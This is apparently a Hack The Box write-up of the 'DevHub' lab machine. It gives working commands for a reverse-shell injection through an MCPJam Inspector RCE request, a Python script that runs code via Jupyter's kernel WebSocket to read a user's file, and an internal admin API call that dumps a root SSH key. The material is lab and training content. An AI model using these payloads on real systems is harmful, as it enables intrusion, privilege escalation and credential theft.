Post

HTB DevHub Writeup

HTB DevHub Writeup

Overview

DevHub is a Linux machine that focuses on exploiting a vulnerable MCPJam Inspector instance. The attack begins by identifying an exposed MCP service and researching a known remote code execution vulnerability affecting the application.

After gaining code execution, local enumeration reveals a Jupyter instance running on the host. By interacting directly with the Jupyter API and WebSocket channels, it is possible to execute commands in the context of another user and retrieve the user flag.

Privilege escalation is achieved through an internal management API that exposes administrative functionality. By abusing a sensitive administrative endpoint, a root SSH private key can be extracted and used to gain full control of the system.


Reconnaissance

The initial step was to perform a full TCP port scan and service enumeration.

1
nmap -Pn -T4 -sV -p- --min-rate 2000 devhub.htb

The scan identified the following exposed services.

1
2
3
22/tcp
80/tcp
6274/tcp

Since port 6274 appeared uncommon, further investigation was performed.

A request to the MCP API revealed an accessible endpoint.

1
curl -s http://10.129.24.127:6274/api/mcp/servers
1
{"success":true,"servers":[]}

The presence of an MCP management interface suggested that the service might be vulnerable to publicly disclosed issues.


Web Enumeration

Vulnerability Research

Research into the MCP service identified a known vulnerability affecting MCPJam Inspector.

1
CVE-2026-23744 - MCPJam Inspector Remote Code Execution

The vulnerability allows attackers to supply arbitrary command execution parameters when establishing a new MCP server connection.

With a viable attack path identified, exploitation was attempted.


Exploitation

Exploiting MCPJam Inspector RCE

A listener was started on the attacking machine.

1
nc -lvnp 4444

A malicious request was then sent to the vulnerable MCP endpoint.

1
2
3
4
5
6
7
8
9
10
curl -s http://10.129.24.127:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverConfig": {
      "command": "bash",
      "args": ["-c", "bash -i >& /dev/tcp/TUN0_IP/4444 0>&1"],
      "env": {}
    },
    "serverId": "pwned"
  }'

The request successfully triggered code execution and returned a reverse shell.

Shell Stabilization

After receiving the shell, it was upgraded to a fully interactive terminal.

1
python3 -c 'import pty; pty.spawn("/bin/bash")'
1
2
# Ctrl+Z
stty raw -echo; fg
1
export TERM=xterm

A stable shell makes enumeration and post-exploitation activities significantly easier.


Initial Access

Discovering Jupyter

Process enumeration revealed a locally running Jupyter service.

1
ps aux | grep -E "jupyter|opsmcp"
1
ps aux | grep jupyter

A Jupyter API token was identified and used to interact with the service.

1
curl -s "http://localhost:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"

A new kernel was then created through the API.

1
2
3
curl -s -X POST "http://localhost:8888/api/kernels?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json" \
  -d '{}'

The response returned a kernel identifier.

1
Kernel ID: 0a3765b0-30ed-4894-8743-412e5e9b2639

Executing Commands Through Jupyter

A Python script was used to connect directly to the Jupyter WebSocket channel and submit an execute_request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket, base64, os, json, struct, uuid, time

TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
KERNEL_ID = "0a3765b0-30ed-4894-8743-412e5e9b2639"

key = base64.b64encode(os.urandom(16)).decode()
upgrade = (
    f"GET /api/kernels/0a3765b0-30ed-4894-8743-412e5e9b2639/channels?token={TOKEN} HTTP/1.1\r\n"
    f"Host: localhost:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
)

s = socket.socket()
s.connect(("localhost", 8888))
s.send(upgrade.encode())
s.recv(4096)

msg = json.dumps({
    "header": {"msg_id": str(uuid.uuid4()), "msg_type": "execute_request",
               "username": "", "session": str(uuid.uuid4()), "version": "5.0"},
    "parent_header": {}, "metadata": {},
    "content": {"code": "import os; print(os.popen('cat /home/analyst/user.txt').read())", "silent": False}
})

payload = msg.encode()
length = len(payload)
mask_key = os.urandom(4)
masked = bytearray([payload[i] ^ mask_key[i % 4] for i in range(length)])

if length <= 125:
    header = struct.pack('!BB', 0x81, 0x80 | length) + mask_key
elif length <= 65535:
    header = struct.pack('!BBH', 0x81, 0xFE, length) + mask_key
else:
    header = struct.pack('!BBQ', 0x81, 0xFF, length) + mask_key

s.send(header + masked)
time.sleep(5)
print(s.recv(65535))

Successful execution allowed commands to run in the context of the target user.

The user flag was retrieved.

1
[REDACTED]

Privilege Escalation

Abusing the Internal Operations API

Further enumeration revealed an internal operations service listening on localhost.

A request was sent to a privileged administrative endpoint.

1
2
3
4
curl -s -X POST "http://localhost:5000/tools/call" \
  -H "Content-Type: application/json" \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

The endpoint returned a root SSH private key.

1
2
3
-----BEGIN OPENSSH PRIVATE KEY-----
[REDACTED]
-----END OPENSSH PRIVATE KEY-----

Using the Root SSH Key

The key was saved locally and assigned the correct permissions.

1
2
3
4
5
cat > /tmp/root_key << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[REDACTED]
-----END OPENSSH PRIVATE KEY-----
EOF
1
chmod 600 /tmp/root_key

Using the extracted key, SSH access as root was obtained.

1
2
3
4
ssh -i /tmp/root_key \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    root@127.0.0.1

Once authenticated, the root flag could be retrieved.

1
cat /root/root.txt
1
[REDACTED]

Conclusion

DevHub demonstrates the risks associated with exposing development and management services without proper security controls. The attack chain began with exploitation of the MCPJam Inspector RCE vulnerability, providing remote code execution on the target.

Post-exploitation enumeration uncovered a Jupyter instance that allowed command execution through authenticated API and WebSocket interactions, resulting in access to the user account. Finally, an internal operations API exposed sensitive administrative functionality, allowing extraction of a root SSH key and complete compromise of the system.

This machine highlights how development tooling and internal management services can become critical attack surfaces when deployed insecurely.

This post is licensed under CC BY 4.0 by the author.